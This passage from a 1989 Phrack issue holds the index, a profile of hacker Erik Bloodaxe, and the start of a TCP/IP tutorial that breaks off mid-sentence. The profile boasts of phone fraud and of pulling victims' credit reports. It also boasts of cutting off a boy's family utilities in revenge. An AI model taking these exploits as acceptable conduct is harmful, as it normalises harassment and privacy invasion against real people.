Phrack Inc. Volume Three, Issue 28, File #1 of 12 Phrack Inc. Newsletter Issue XXVIII Inde

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==Phrack Inc.== Volume Three, Issue 28, File #1 of 12 Phrack Inc. Newsletter Issue XXVIII Index ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ October 7, 1989 Greetings and welcome to Issue 28 of Phrack Inc. We really must apologize for the lateness of this issue, but sorting through all of the files sent in from over the entire summer as well as our own real life responsibilities have been keeping us both rather busy. This issue we feature Phrack World News Special Edition III. This file contains the exclusive coverage of SummerCon '89, which took place in St. Louis, Missouri on June 22-25, 1989. The Future Transcendent Saga continues in this issue with part one of a file about TCP/IP. We also present to you the beginning of a new irregular column called Network Miscellany by Taran King. Its exactly what it says it is -- interesting and important changes in, and tips about using, the Internet. It will contain different material each issue it is presented in to keep pace with the always changing wide area networks. Speaking of irregular columns, Phrack Pro-Phile returns this issue with a detailed look at Erik Bloodaxe of LOD. As always, we ask that anyone with network access drop us a line to either our Bitnet or Internet addresses... Taran King Knight Lightning C488869@UMCVMB.BITNET C483307@UMCVMB.BITNET C488869@UMCVMB.MISSOURI.EDU C483307@UMCVMB.MISSOURI.EDU And now we can also be reached via our new mail forwarding addresses (for those that cannot mail to our Bitnet or Internet addresses): ...!netsys!phrack or phrack@netsys.COM _______________________________________________________________________________ Table of Contents: 1. Phrack Inc. XXVIII Index by Taran King and Knight Lightning 2. Phrack Pro-Phile XXVIII on Erik Bloodaxe by Taran King 3. Introduction to the Internet Protocols: Chapter Eight of the FTS by KL 4. Network Miscellany by Taran King 5. A Real Functioning PEARL BOX Schematic by Dispater 6. Snarfing Remote Files by Dark OverLord 7. Other Common Carriers; A List By Equal Axis 8. Phrack World News Special Edition III (SummerCon '89) by Knight Lightning 9-12 Phrack World News XXVIII/Parts 1-4 by Knight Lightning _______________________________________________________________ ==Phrack Inc.== Volume Three, Issue 28, File #2 of 12 ==Phrack Pro-Phile XXVIII== Created and Written by Taran King Done on September 23, 1989 Welcome to Phrack Pro-Phile XXVIII. Phrack Pro-Phile was created to bring information to you, the community, about retired or highly important/ controversial people. This issue, we bring you a long time member of the hacking community and a charter member of the Legion Of Doom... Erik Bloodaxe ~~~~~~~~~~~~~ Handle: Erik Bloodaxe Call Him: Chris Handle Origin: "Vikings" by ? (Don't remember) Date Of Birth: 20 years ago Current Age: 20 Height: 5' 10" Weight: 130 Eye Color: Blue Hair Color: Brown Blood Type: A+ Sperm Count: 3 Computers: Atari 400, various dumb terminals, CompuAdd Turbo XT Origins in Phreak/Hack World ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Way back when he was in 7th grade, some 8+ years back, Erik was quite a shoplifter. As was the norm for 13 year-olds, he and a friend of his had stolen a stack of "girlie" magazines on one of their "raids." One of these was High Society, which was toying with the idea of "recorded entertainment." His friend was determined to hear this, but as the number was in New York, they decided to use the "strange phone service" his mother had signed up for to keep down the bill. He explained it to Erik, "You dial this number and then tell the operator your number and the phone number." They called it and told the operator a number that was 100 off by mistake. The operator said "Thank you," and the call went through. Thus was born a "code-abuser." They kept this information to themselves for several months. When the service changed to an automated format (rather than operator service), they began to share their knowledge. Word spread like wildfire. Interestingly enough, to this day, he can still backtrack 95% of all hacker-related code abuse from San Antonio back to himself as the originator of the information (well, a friend of a friend of a friend, etc..) Origins in Phreak/Hack BBSes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A friend of Bloodaxe's father bought a MicroModem II to get information from Dialog for his legal practice. He still remembers the first time he used it. His friend's dad used Dialog through Telenet. Once he saw Telenet, he began trying various addresses. One of the first things he ever did was get into a 212 VAX/VMS with GUEST/GUEST. Erik had absolutely no idea what he was doing. They were just guessing... typing things like "hello?", "catalog", and assorted other inane things. They also called a few BBSes that came with the modem instructions (using their long-distance trick). By the end of the weekend, they had worked their way to Pirates' Harbor (now TIMECOR) in 617, and Pirates' Cove 516. From then on, he was hooked on modems. Then, Wargames came out. Embarrassing as it is for Erik, Wargames really did play a part in imbedding the idea of computer "hacking" in his little head. (As it did for hundreds of others who are too insecure to admit it.) He had his little Atari 400, but no modem (Hayes 300's were still hundreds of dollars). Another friend got an Atari Acoustic Coupler for his 800. Born now were the Atari Warez D00dz. For about a year, they did nothing but call Atari BBSes (and anything that had "Pirate" in its name). They did stumble onto things like the Phone Booth in 303, OSUNY (on an OHIO Scientific, days before it went down), and Mines of Moria (713). Finally, he got an MPP modem. Bloodaxe was on it day and night. By this time they got into scanning. He was the one who checked everything out, as he was the one who was reading up on computer OSes at the UTSA library. They were still big into games, and they ran across a really new game called Behind Jaggi Lines. A guy named Devious Xevious traded them something called Software Blue Box for it, and gave them a BBS to call: Pirate-80. In 1983, Erik Bloodaxe entered the hack/phreak world. He was blue boxing most of his calls by then. People in the Phreak/Hack World Met ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Bloodaxe has only met a handful "face-to-face," but has spoken with almost everyone around in the "golden-years," as he was heavily into conferences. Experience Gained In the Following Ways ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mainly trial and error. He would find a system, try to get in with simplistic username/password pairs, and then read help. He also reads a lot. He didn't speak out until he was sure of what he was talking about. Erik never asked any questions, but always listened. During the time he was a true "novice," he kept it fairly hidden, because he didn't want to seem stupid. Chris attributes the knowledge he has gained to himself. Memorable Phreak/Hack BBSes ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Pirate-80 (He still call to check in on Scott) Sherwood Forest I, II, III RACS III (Tuc wouldn't let him on until years after he first called!!) Plovernet (Before and after the move) COPS (Where he got mail from Lex telling him to call Legion of Doom) WOPR (Getting closer to what BBSes would become) Hacknet (217) Legion of Doom (The ultimate in BBSes at the time) Crystal Palace (OSUNY lives again!) Newsnet (Yes, Sir Knight's BBS) Blottoland (Lair of the rodents) Ripco (A looooooong time ago, certainly not now) The Broadway Show ("Well, Mike was a little off, but so what.") Farmers of Doom! (Run from a pay phone, complete chaos) The Connection (A good private BBS) Catch-22 (A "better" private BBS) The Pipeline (718) Freeworld II Executive Inn (Re-instilled his faith in BBSes) The Phoenix Project (What he would want his BBS to equal or surpass in quality) Black Ice (A big leak; ask anyone at the Ameritech security convention) Pure Nihilism (Too much fun!) Schooling/Work ~~~~~~~~~~~~~~ Chris is currently struggling as a Computer Science major at University of Texas in Austin with intentions of a PhD, specializing in AI research. Accomplishments ~~~~~~~~~~~~~~~ Project Educate: Was supposed to replace TAP after Tuc got fed up. No one really knows what happened to it. LOD/H TJ: Assorted work, major distributor. Numerous files. Phreak/Hack Groups ~~~~~~~~~~~~~~~~~~ LOD - In the original recruitment group, still in, still active. What more can be said? "LOD!" basically sums it all up. Camorra - Erik still gets mad about this. He was asked by the 602 Scorpion to join a group that was being formed. He agreed, and he then came up with Camorra as a name. The other members were Ax Murderer and 301 Executioner. He got Dr. Who, Silver Sabre, and Pit Fiend to join and Karl Marx, Tuc, and Videosmith were kind of in/out-not-really-into-groups-but-we'll-hang-out kind of members. Most of them were deep into their phones/computers. They were planning a series of files, such as the first Tymnet directory, a great COSMOS file, a database of scans, etc. Suddenly people began appearing in the group that no one voted on. The group kind of split up into two factions, "us and them." Bloodaxe and Dr. Who just got mad and blew it all off. Pit Fiend got busted, and the Scorpion disappeared. Interests ~~~~~~~~~ Packet networks (all), telco computers, Unixes, scanning (every night for almost 5 years!) Favorite Things ~~~~~~~~~~~~~~~ Beer--Tsing Tao, Michelob Dry, Coors Light. (He am in college, you know!) Ecstasy--Grinding away (His teeth and his mind). Getting into a system on the first try. Unprotected crontab files. Scanning. Anything, for anything, just doing it! A certain shapely 5'2" blonde who shall remain nameless. Most Memorable Experiences ~~~~~~~~~~~~~~~~~~~~~~~~~~ Alliance Teleconferencing way back when. Tandem scanning out other sites in Houston and Dallas. Transferring control to directory assistance ACD loops, and leaving it there until he wanted to run one. Waking up the next morning and yelling into the phone at everyone else who had stayed on the conference and starting to talk again. Conferences that lasted a week. Catching Draper in lies. Busying out all the 408 DA's. Boxing on a conference and trunking Karl Marx. Calling random numbers in California and adding them in if they sounded like teenage girls. "Giving" people unlimited trial usage of a "new" long distance service (LOD Telecommunications). Jennifer, the Alliance operator who had it out for him ("This is that Bloody-axe person isn't it?"). The Wharton School of Business Dec-10. For nearly a month all the nation's top phreaks and hackers hung out on this system and used the chat program. It was "the" place to be (kind of like an Altger Altos of the past, but no idiots). Finally they killed the account, not because of abuse, but because they were loading the system down. The students and operators were really cool about the whole thing. Finding (and spreading around everywhere) the White House Signal number. A number of my friends kept calling it, posing as the mayor of San Antonio, Henry Cisneros, eventually causing the Secret Service call our high school, and telling the administrators to grab the people using the payphone to find out what the hell they were trying to do. Taking down almost every BBS in Alaska when he was denied access to one. He pulled the poor kid's parents credit report, sent a copy to the kid over his modem, and disconnected the kid's phone, electricity, and water. He then went around taking down the BBSes where the kid had friends (guilt by association). Word got around the nation kind of fast. Erik got on most BBSes without much trouble after all that. He had a project to be on at least one BBS in every area code. Bloodaxe had to get on non-hack/pirate ones in a few areas, but he managed to do it. He stayed active on all of them for several months. At one time, he was on about 140 BBSes!!! Reading a new edition of Newsweek with a story by Richard Sandza in it over a very crowded conference, then suggesting that he should get some Slim Whitman albums and Civil War Chess Sets via his Visa. Erik pulled his history, to scare him, but lost it. When he pulled it later, there were nearly 100 inquiries, most by a certain Massachusetts Bank. At least they gave him a good source for a follow-up article. Finding out that a certain long distance service (reselling AT&T WATS) would reset to a WATS dialtone when 2600 was blasted and then setting up a program to call MTV's 900 number repeatedly to ensure that Duran Duran would get severely beaten. Bloodaxe remembers boxing up a conference while waiting for the police to come, and fighting the impulse to run away. He had tickets carded to Philadelphia International on a flight that afternoon (on the conference), and Telenet Bob was ready to meet Erik's flight, Mark Tabas was ready to send him a blank birth certificate, not to mention offers to stay with Dr. Who or Telenet Bob for as long as he needed to get settled. Karl Marx talked him out of it though. He was packed and ready to leave and become a new person in a new city. Looking back, he's DAMN glad he didn't do it! Bloodaxe and Who-Bob deciding one fateful day to see if they could talk to each other's port on Telenet using an ID they had used for the LOD Telenet directory. Some People to Mention ~~~~~~~~~~~~~~~~~~~~~~ Dr. Who -- "My closest hacker counterpart. We joke about being 60 with grandchildren, still having never met, calling each other daily, with stories about how we just defeated some ISDN service." The Mentor -- "My favorite drinking buddy. The first hacker I ever met face-to-face." Control C -- "One person who can almost equal me in outrageous behavior. Yes, Dan, I said almost! Nyahh Nyahh!" Inside Jokes ~~~~~~~~~~~~ Lame, Lame, Lame LEGION OF DOOM IN DALLAS...FEDS BAFFLED Serious Section ~~~~~~~~~~~~~~~ Chris makes it a point to make huge filibusters on boards where he sees anything having even anything remotely related to carding. Credit card fraud truly gives hacking a bad name. Snooping around a VAX is just electronic voyeurism... carding a new modem is just flat out blue-collar crime. It's just as bad as breaking into a house or kicking a puppy! He does everything he can (even up to turning off a number) to get credit information taken off a BBS. He also tries to remove codes from BBSes. He doesn't see code abuse in the same light as credit card fraud, (although the law does), but posted codes are the quickest way to get your board busted, and your computer confiscated. People should just find a local outdial to wherever they want to call and use that. If you only make local calls from an outdial, it will never die, you will keep out of trouble, and everyone will be happy. Marijuana, cocaine, LSD, MDMA (& analogs), and methamphetamine should be legalized and sold in a controlled fashion, regulated by the government. Money spent currently on combatting drug traffic should be spent on the deficit, and on drug education and rehabilitation. Making petty vices illegal only breeds crime; look at prohibition, look at gambling, look at how fast people go on the highway. You cannot fight a losing battle, and therefore, must take on a new strategy. Alcohol is the only drug he has ever imbibed and lost all consciousness and complete control of his actions. He thinks it is THE most dangerous drug around, and anyone can get as much of it as they want with very little effort. It is legal, but not everyone drinks. If marijuana was legal not everyone would smoke it. He wouldn't for one; he hates it. However, farmers would no longer lose their farms; and most importantly, the economy would be boosted greatly. Things have got to change. Are Phreaks/Hackers You've Met Generally Computer Geeks? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Of course not. There are some that are, but generally there is an average sampling of the general population. Hacking is just another hobby. Most people who collect comic books are not all the same, most people who play backgammon are not similar in physical characteristics either. The closest stereotype he could ever even say existed was 6 or so years ago, and that would be that most hackers then were Jewish and from New York state. An obnoxious Texan WASP like Chris really stood out. Thanks for your time, Chris. Taran King ________________________________________________________________ ==Phrack Inc.== Volume Three, Issue 28, File #3 of 12 <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> <> <> <> Introduction to the Internet Protocols <> <> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <> <> Chapter Eight Of The Future Transcendent Saga <> <> <> <> Part One of Two Files <> <> <> <> Presented by Knight Lightning <> <> July 3, 1989 <> <> <> <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> Prologue ~~~~~~~~ Much of the material in this file comes from "Introduction to the Internet Protocols" by Charles L. Hedrick of Rutgers University. That material is copyrighted and is used in this file by permission. Time differention and changes in the wide area networks have made it necessary for some details of the file to updated and in some cases reworded for better understanding of our readers. Also, Unix is a trademark of AT&T Technologies, Inc. -- Just thought I'd let you know. If you are not already familiar with TCP/IP, I would suggest that you read "Introduction to MIDNET" (Phrack Inc., Volume Three, Issue 27, File 3 of 12) for more information. That file is Chapter Seven of The Future Transcendent Saga and contains information about TCP/IP and how it is used within the National Science Foundation Network (NSFnet). Table of Contents - Part One ~~~~~~~~~~~~~~~~~ * Introduction * What Is TCP/IP? * General Description Of The TCP/IP Protocols The TCP Level The IP Level The Ethernet Level Introduction ~~~~~~~~~~~~ This article is a brief introduction to TCP/IP, followed by suggestions on what to read for more information. This is not intended to be a complete description, but it can give you a reasonable idea of the capabilities of the protocols. However, if you need to know any details of the technology, you will want to read the standards yourself. Throughout the article, you will find references to the standards, in the form of "RFC" (Request For Comments) or "IEN" (Internet Engineering Notes) numbers -- these are document numbers. The final section (in Part Two) explains how you can get copies of those standards. What Is TCP/IP? ~~~~~~~~~~~~~~~ TCP/IP is a set of protocols developed to allow cooperating computers to share resources across a network. It was developed by a community of researchers centered around the ARPAnet. First some basic definitions; The most accurate name for the set of protocols I am describing is the "Internet protocol suite." TCP and IP are two of the protocols in this suite (they will be described below). Because TCP and IP are the best known of the protocols, it has become common to use the term TCP/IP to refer to the whole family. The Internet is a collection of networks, including the Arpanet, NSFnet, regional networks such as MIDnet (described in Chapter Seven of the Future Transcendent Saga), local networks at a number of University and research institutions, and a number of military networks. The term "Internet" applies to this entire set of networks. The subset of them that is managed by the Department of Defense is referred to as the "DDN" (Defense Data Network). This includes some research-oriented networks, such as the ARPAnet, as well as more strictly military ones (because much of the funding for Internet protocol developments is done via the DDN organization, the terms Internet and DDN can sometimes seem equivalent). All of these networks are connected to each other. Users can send messages from any of them to any other, except where there are security or other policy restrictions on access. Officially speaking, the Internet protocol documents are simply standards adopted by the Internet community for its own use. The Department of Defense once issued a MILSPEC definition of TCP/IP that was intended to be a more formal definition, appropriate for use in purchasing specifications. However most of the TCP/IP community continues to use the Internet standards. The MILSPEC version is intended to be consistent with it. Whatever it is called, TCP/IP is a family of protocols. A few provide "low-level" functions needed for many applications. These include IP, TCP, and UDP (all of which will be described in a bit more detail later in this file). Others are protocols for doing specific tasks, e.g. transferring files between computers, sending mail, or finding out who is logged in on another computer. Initially TCP/IP was used mostly between minicomputers or mainframes. These machines had their own disks, and generally were self-contained. Thus the most important "traditional" TCP/IP services are: - File Transfer -- The file transfer protocol (FTP) allows a user on any computer to get files from another computer, or to send files to another computer. Security is handled by requiring the user to specify a user name and password for the other computer. Provisions are made for handling file transfer between machines with different character set, end of line conventions, etc. This is not quite the same as "network file system" or "netbios" protocols, which will be described later. Instead, FTP is a utility that you run any time you want to access a file on another system. You use it to copy the file to your own system. You then can work with the local copy. (See RFC 959 for specifications for FTP.) - Remote Login -- The network terminal protocol (TELNET) allows a user to log in on any other computer on the network. You start a remote session by specifying a computer to connect to. From that time until you finish the session, anything you type is sent to the other computer. Note that you are really still talking to your own computer, but the telnet program effectively makes your computer invisible while it is running. Every character you type is sent directly to the other system. Generally, the connection to the remote computer behaves much like a dialup connection. That is, the remote system will ask you to log in and give a password, in whatever manner it would normally ask a user who had just dialed it up. When you log off of the other computer, the telnet program exits, and you will find yourself talking to your own computer. Microcomputer implementations of telnet generally include a terminal emulator for some common type of terminal. (See RFCs 854 and 855 for specifications for telnet. By the way, the telnet protocol should not be confused with Telenet, a vendor of commercial network services.) - Computer Mail -- This allows you to send messages to users on other computers. Originally, people tended to use only one or two specific computers and they would maintain "mail files" on those machines. The computer mail system is simply a way for you to add a message to another user's mail file. There are some problems with this in an environment where microcomputers are used. The most serious is that a micro is not well suited to receive computer mail. When you send mail, the mail software expects to be able to open a connection to the addressee's computer, in order to send the mail. If this is a microcomputer, it may be turned off, or it may be running an application other than the mail system. For this reason, mail is normally handled by a larger system, where it is practical to have a mail server running all the time. Microcomputer mail software then becomes a user interface that retrieves mail from the mail server. (See RFC 821 and 822 for specifications for computer mail. See RFC 937 for a protocol designed for microcomputers to use in reading mail from a mail server.) These services should be present in any implementation of TCP/IP, except that micro-oriented implementations may not support computer mail. These traditional applications still play a very important role in TCP/IP-based networks. However more recently, the way in which networks are used has been changing. The older model of a number of large, self-sufficient computers is beginning to change. Now many installations have several kinds of computers, including microcomputers, workstations, minicomputers, and mainframes. These computers are likely to be configured to perform specialized tasks. Although people are still likely to work with one specific computer, that computer will call on other systems on the net for specialized services. This has led to the "server/client" model of network services. A server is a system that provides a specific service for the rest of the network. A client is another system that uses that service. Note that the server and client need not be on different computers. They could be different programs running on the same computer. Here are the kinds of servers typically present in a modern computer setup. Also note that these computer services can all be provided within the framework of TCP/IP. - Network file systems. This allows a system to access files on another computer in a somewhat more closely integrated fashion than FTP. A network file system provides the illusion that disks or other devices from one system are directly connected to other systems. There is no need to use a special network utility to access a file on another system. Your computer simply thinks it has some extra disk drives. These extra "virtual" drives refer to the other system's disks. This capability is useful for several different purposes. It lets you put large disks on a few computers, but still give others access to the disk space. Aside from the obvious economic benefits, this allows people working on several computers to share common files. It makes system maintenance and backup easier, because you don't have to worry about updating and backing up copies on lots of different machines. A number of vendors now offer high-performance diskless computers. These computers have no disk drives at all. They are entirely dependent upon disks attached to common "file servers". (See RFC's 1001 and 1002 for a description of PC-oriented NetBIOS over TCP. In the workstation and minicomputer area, Sun's Network File System is more likely to be used. Protocol specifications for it are available from Sun Microsystems.) - remote printing. This allows you to access printers on other computers as if they were directly attached to yours. (The most commonly used protocol is the remote lineprinter protocol from Berkeley Unix. Unfortunately, there is no protocol document for this. However the C code is easily obtained from Berkeley, so implementations are common.) - Remote execution. This allows you to request that a particular program be run on a different computer. This is useful when you can do most of your work on a small computer, but a few tasks require the resources of a larger system. There are a number of different kinds of remote execution. Some operate on a command by command basis. That is, you request that a specific command or set of commands should run on some specific computer. (More sophisticated versions will choose a system that happens to be free.) However there are also "remote procedure call" systems that allow a program to call a subroutine that will run on another computer. (There are many protocols of this sort. Berkeley Unix contains two servers to execute commands remotely: rsh and rexec. The Unix "man" pages describe the protocols that they use. The user-contributed software with Berkeley 4.3 contains a "distributed shell" that will distribute tasks among a set of systems, depending upon load. - Name servers. In large installations, there are a number of different collections of names that have to be managed. This includes users and their passwords, names and network addresses for computers, and accounts. It becomes very tedious to keep this data up to date on all of the computers. Thus the databases are kept on a small number of systems. Other systems access the data over the network. (RFC 822 and 823 describe the name server protocol used to keep track of host names and Internet addresses on the Internet. This is now a required part of any TCP/IP implementation. IEN 116 describes an older name server protocol that is used by a few terminal servers and other products to look up host names. Sun's Yellow Pages system is designed as a general mechanism to handle user names, file sharing groups, and other databases commonly used by Unix systems. It is widely available commercially. Its protocol definition is available from Sun.) - Terminal servers. Many installations no longer connect terminals directly to computers. Instead they connect them to terminal servers. A terminal server is simply a small computer that only knows how to run telnet (or some other protocol to do remote login). If your terminal is connected to one of these, you simply type the name of a computer, and you are connected to it. Generally it is possible to have active connections to more than one computer at the same time. The terminal server will have provisions to switch between connections rapidly, and to notify you when output is waiting for another connection. (Terminal servers use the telnet protocol, already mentioned. However any real terminal server will also have to support name service and a number of other protocols.) - Network-oriented window systems. Until recently, high-performance graphics programs had to execute on a computer that had a bit-mapped graphics screen directly attached to it. Network window systems allow a program to use a display on a different computer. Full-scale network window systems provide an interface that lets you distribute jobs to the systems that are best suited to handle them, but still give you a single graphically-based user interface. (The most widely-implemented window system is X. A protocol description is available from MIT's Project Athena. A reference implementation is publically available from MIT. A number of vendors are also supporting NeWS, a window system defined by Sun. Both of these systems are designed to use TCP/IP.) Note that some of the protocols described above were designed by Berkeley, Sun, or other organizations. Thus they are not officially part of the Internet protocol suite. However they are implemented using TCP/IP, just as normal TCP/IP application protocols are. Since the protocol definitions are not considered proprietary, and since commercially-supported implementations are widely available, it is reasonable to think of these protocols as being effectively part of the Internet suite. Note that the list above is simply a sample of the sort of services available through TCP/IP. However it does contain the majority of the "major" applications. The other commonly-used protocols tend to be specialized facilities for getting information of various kinds, such as who is logged in, the time of day, etc. However if you need a facility that is not listed here, I encourage you to look through the current edition of Internet Protocols (currently RFC 1011), which lists all of the available protocols, and also to look at some of the major TCP/IP implementations to see what various vendors have added. General Description Of The TCP/IP Protocols ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ TCP/IP is a layered set of protocols. In order to understand what this means, it is useful to look at an example. A typical situation is sending mail. First, there is a protocol for mail. This defines a set of commands which one machine sends to another, e.g. commands to specify who the sender of the message is, who it is being sent to, and then the text of the message. However this protocol assumes that there is a way to communicate reliably between the two computers. Mail, like other application protocols, simply defines a set of commands and messages to be sent. It is designed to be used together with TCP and IP. TCP is responsible for making sure that the commands get through to the other end. It keeps track of what is sent, and retransmitts anything that did not get through. If any message is too large for one datagram, e.g. the text of the mail, TCP will split it up into several datagrams, and make sure that they all arrive correctly. Since these functions are needed for many applications, they are put together into a separate protocol, rather than being part of the specifications for sending mail. You can think of TCP as forming a library of routines that applications can use when they need reliable network communications with another computer. Similarly, TCP calls on the services of IP. Although the services that TCP supplies are needed by many applications, there are still some kinds of applications that don't need them. However there are some services that every application needs. So these services are put together into IP. As with TCP, you can think of IP as a library of routines that TCP calls on, but which is also available to applications that don't use TCP. This strategy of building several levels of protocol is called "layering." I like to think of the applications programs such as mail, TCP, and IP, as being separate "layers," each of which calls on the services of the layer below it. Generally, TCP/IP applications use 4 layers: - An application protocol such as mail. - A protocol such as TCP that provides services need by many applications. - IP, which provides the basic service of getting datagrams to their destination. - The protocols needed to manage a specific physical medium, such as Ethernet or a point to point line. TCP/IP is based on the "catenet model." (This is described in more detail in IEN 48.) This model assumes that there are a large number of independent networks connected together by gateways. The user should be able to access computers or other resources on any of these networks. Datagrams will often pass through a dozen different networks before getting to their final destination. The routing needed to accomplish this should be completely invisible to the user. As far as the user is concerned, all he needs to know in order to access another system is an "Internet address." This is an address that looks like 128.6.4.194. It is actually a 32-bit number. However it is normally written as 4 decimal numbers, each representing 8 bits of the address. (The term "octet" is used by Internet documentation for such 8-bit chunks. The term "byte" is not used, because TCP/IP is supported by some computers that have byte sizes other than 8 bits.) Generally the structure of the address gives you some information about how to get to the system. For example, 128.6 is a network number assigned by a central authority to Rutgers University. Rutgers uses the next octet to indicate which of the campus Ethernets is involved. 128.6.4 happens to be an Ethernet used by the Computer Science Department. The last octet allows for up to 254 systems on each Ethernet. (It is 254 because 0 and 255 are not allowed, for reasons that will be discussed later.) Note that 128.6.4.194 and 128.6.5.194 would be different systems. The structure of an Internet address is described in a bit more detail later. Of course I normally refer to systems by name, rather than by Internet address. When I specify a name, the network software looks it up in a database, and comes up with the corresponding Internet address. Most of the network software deals strictly in terms of the address. (RFC 882 describes the name server technology used to handle this lookup.) TCP/IP is built on "connectionless" technology. Information is transfered as a sequence of "datagrams." A datagram is a collection of data that is sent as a single message. Each of these datagrams is sent through the network individually. There are provisions to open connections (i.e. to start a conversation that will continue for some time). However at some level, information from those connections is broken up into datagrams, and those datagrams are treated by the network as completely separate. For example, suppose you want to transfer a 15000 octet file. Most networks can't handle a 15000 octet datagram. So the protocols will break this up into something like 30 500-octet datagrams. Each of these datagrams will be sent to the other end. At that point, they will be put back together into the 15000-octet file. However while those datagrams are in transit, the network doesn't know that there is any connection between them. It is perfectly possible that datagram 14 will actually arrive before datagram 13. It is also possible that somewhere in the network, an error will occur, and some datagram won't get through at all. In that case, that datagram has to be sent again. Note by the way that the terms "datagram" and "packet" often seem to be nearly interchangable. Technically, datagram is the right word to use when describing TCP/IP. A datagram is a unit of data, which is what the protocols deal with. A packet is a physical thing, appearing on an Ethernet or some wire. In most cases a packet simply contains a datagram, so there is very little difference. However they can differ. When TCP/IP is used on top of X.25, the X.25 interface breaks the datagrams up into 128-byte packets. This is invisible to IP, because the packets are put back together into a single datagram at the other end before being processed by TCP/IP. So in this case, one IP datagram would be carried by several packets. However with most media, there are efficiency advantages to sending one datagram per packet, and so the distinction tends to vanish. * The TCP level Two separate protocols are involved in handling TCP/IP datagrams. TCP (the "transmission control protocol") is responsible for breaking up the message into datagrams, reassembling them at the other end, resending anything that gets lost, and putting things back in the right order. IP (the "internet protocol") is responsible for routing individual datagrams. It may seem like TCP is doing all the work. However in the Internet, simply getting a datagram to its destination can be a complex job. A connection may require the datagram to go through several networks at Rutgers, a serial line to the John von Neuman Supercomputer Center, a couple of Ethernets there, a series of 56Kbaud phone lines to another NSFnet site, and more Ethernets on another campus. Keeping track of the routes to all of the destinations and handling incompatibilities among different transport media turns out to be a complex job. Note that the interface between TCP and IP is fairly simple. TCP simply hands IP a datagram with a destination. IP doesn't know how this datagram relates to any datagram before it or after it. It may have occurred to you that something is missing here. I have talked about Internet addresses, but not about how you keep track of multiple connections to a given system. Clearly it isn't enough to get a datagram to the right destination. TCP has to know which connection this datagram is part of. This task is referred to as "demultiplexing." In fact, there are several levels of demultiplexing going on in TCP/IP. The information needed to do this demultiplexing is contained in a series of "headers." A header is simply a few extra octets tacked onto the beginning of a datagram by some protocol in order to keep track of it. It's a lot like putting a letter into an envelope and putting an address on the outside of the envelope. Except with modern networks it happens several times. It's like you put the letter into a little envelope, your secretary puts that into a somewhat bigger envelope, the campus mail center puts that envelope into a still bigger one, etc. Here is an overview of the headers that get stuck on a message that passes through a typical TCP/IP network: It starts with a single data stream, say a file you are trying to send to some other computer: ...................................................... TCP breaks it up into manageable chunks. (In order to do this, TCP has to know how large a datagram your network can handle. Actually, the TCP's at each end say how big a datagram they can handle, and then they pick the smallest size.) .... .... .... .... .... .... .... .... TCP puts a header at the front of each datagram. This header actually contains at least 20 octets, but the most important ones are a source and destination "port number" and a "sequence number." The port numbers are used to keep track of different conversations. Suppose 3 different people are transferring files. Your TCP might allocate port numbers 1000, 1001, and 1002 to these transfers. When you are sending a datagram, this becomes the "source" port number, since you are the source of the datagram. Of course the TCP at the other end has assigned a port number of its own for the conversation. Your TCP has to know the port number used by the other end as well. (It finds out when the connection starts, as I will explain below.) It puts this in the "destination" port field. Of course if the other end sends a datagram back to you, the source and destination port numbers will be reversed, since then it will be the source and you will be the destination. Each datagram has a sequence number. This is used so that the other end can make sure that it gets the datagrams in the right order, and that it hasn't missed any. (See the TCP specification for details.) TCP doesn't number the datagrams, but the octets. So if there are 500 octets of data in each datagram, the first datagram might be numbered 0, the second 500, the next 1000, the next 1500, etc. Finally, I will mention the Checksum. This is a number that is computed by adding up all the octets in the datagram (more or less - see the TCP spec). The result is put in the header. TCP at the other end computes the checksum again. If they disagree, then something bad happened to the datagram in transmission, and it is thrown away. So here's what the datagram looks like now. +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | your data ... next 500 octets | | ...... | If you abbreviate the TCP header as "T", the whole file now looks like this: T.... T.... T.... T.... T.... T.... T.... You will note that there are items in the header that I have not described above. They are generally involved with managing the connection. In order to make sure the datagram has arrived at its destination, the recipient has to send back an "acknowledgement." This is a datagram whose "Acknowledgement number" field is filled in. For example, sending a packet with an acknowledgement of 1500 indicates that you have received all the data up to octet number 1500. If the sender doesn't get an acknowledgement within a reasonable amount of time, it sends the data again. The window is used to control how much data can be in transit at any one time. It is not practical to wait for each datagram to be acknowledged before sending the next one. That would slow things down too much. On the other hand, you can't just keep sending, or a fast computer might overrun the capacity of a slow one to absorb data. Thus each end indicates how much new data it is currently prepared to absorb by putting the number of octets in its "Window" field. As the computer receives data, the amount of space left in its window decreases. When it goes to zero, the sender has to stop. As the receiver processes the data, it increases its window, indicating that it is ready to accept more data. Often the same datagram can be used to acknowledge receipt of a set of data and to give permission for additional new data (by an updated window). The "Urgent" field allows one end to tell the other to skip ahead in its processing to a particular octet. This is often useful for handling asynchronous events, for example when you type a control character or other command that interrupts output. The other fields are not pertinent to understanding what I am trying to explain in this article. * The IP Level TCP sends each datagram to IP. Of course it has to tell IP the Internet address of the computer at the other end. Note that this is all IP is concerned about. It doesn't care about what is in the datagram, or 